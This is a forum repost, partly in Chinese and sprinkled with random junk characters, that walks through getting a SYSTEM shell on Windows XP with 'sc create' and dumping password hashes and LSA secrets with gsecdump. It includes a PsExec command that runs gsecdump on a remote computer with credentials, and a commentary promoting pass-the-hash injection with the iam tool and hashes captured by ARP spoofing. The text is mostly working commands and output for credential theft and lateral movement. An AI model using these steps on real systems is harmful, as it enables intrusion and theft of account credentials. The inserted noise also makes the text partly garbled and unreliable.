o get a DOS Prompt as NT system:
8 x: x# t! M, K+ C* V' g5 o0 f7 {% b- `
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
- G+ f) Q) N7 V) ]( W3 X* y0 B0 @[SC] CreateService SUCCESS3 C. k/ y5 F7 X% w4 _& k f
; o. R9 a% M: dC:\>sc start shellcmdline* i6 x K! M) |, Z7 i
[SC] StartService FAILED 1053:
* [" A0 O5 l9 N3 ^8 R$ b: s
1 C4 l: n; J0 g" J" g+ F HThe service did not respond to the start or control request in a timely fashion.
8 O2 _. r3 }- p$ k2 I0 m) Y, n7 i8 F+ I* {7 ]/ p
C:\>sc delete shellcmdline
2 p" o. U, n7 j, J c3 D6 U& D[SC] DeleteService SUCCESS
$ z0 e. R) Q5 V+ r5 q
7 @2 {/ Q \% @5 ?------------
3 O. l6 {! z9 O3 b; T, m. u- y* {
Then in the new DOS window:. i8 J1 r% v3 p( G4 ^8 w
6 X. t, _7 e; G# z e! W$ u" n
Microsoft Windows XP [Version 5.1.2600]* ?' ?9 w; Z4 L n' _6 {' R
(C) Copyright 1985-2001 Microsoft Corp.
! G) M2 J5 w: T% n: J' I. R) X1 A; Z+ y" J: K
C:\WINDOWS\system32>whoami; x6 W+ r7 v8 Z+ C m
NT AUTHORITY\SYSTEM
/ n+ `# `8 O4 v
1 Q( n* K9 }+ a) [: J' UC:\WINDOWS\system32>gsecdump -h1 j1 j( @0 @* @0 a+ f! P
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
; `9 K6 O1 e8 b T# e( Uusage: gsecdump [options]$ j6 l9 q; M$ e6 ^. ]) e
2 b4 i" i9 [1 M
options:
3 W5 D! C/ h) G" v0 u0 ^-h [ --help ] show help) w9 \+ l' T0 v/ w% o" x7 @4 r
-a [ --dump_all ] dump all secrets
. q% x! e3 m ]4 Y& W1 H/ ]-l [ --dump_lsa ] dump lsa secrets/ Y! B1 E1 r: E( }8 |( w" r: i
-w [ --dump_wireless ] dump microsoft wireless connections
5 V) E# l& X* v7 L7 E-u [ --dump_usedhashes ] dump hashes from active logon sessions# c, N+ t; q; _ b- u% v
-s [ --dump_hashes ] dump hashes from SAM/AD6 R2 V2 E5 _4 k( h* D+ K% j/ n
) b& |2 e# q0 n0 p( Q& f: q0 X
Although I like to use:
. N+ w( V) X' g- Y; ?/ _, T6 E, W9 G- L! w2 a L4 I
PsExec v1.83 - Execute processes remotely) u: g9 s: E! [8 v/ g1 ]2 X
Copyright (C) 2001-2007 Mark Russinovich
- @: {6 {/ I, S K1 pSysinternals - 链接标记[url]www.sysinternals.com[/url]
% R0 c4 c# v5 S; p2 a& j- v0 ~% ]+ Q& v0 s2 o3 d
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
$ E3 v, k0 u0 i( a7 T8 e% V7 l# l8 T) S
! {- J0 D# {- P! Eto get the hashes from active logon sessions of a remote system.1 h3 _; F# Y; r Y% A. S G
5 t4 f2 H+ |$ m9 uThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.# }: D5 S7 x! u) O
0 D2 a9 `3 |; n7 E1 G; b提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
$ l( p; x. C, D; b: K* K原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
0 w! ]" J0 I! | i# k
3 ]; R4 K5 Q8 B/ t* {我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。7 k% j9 Z! f( J1 X# w
|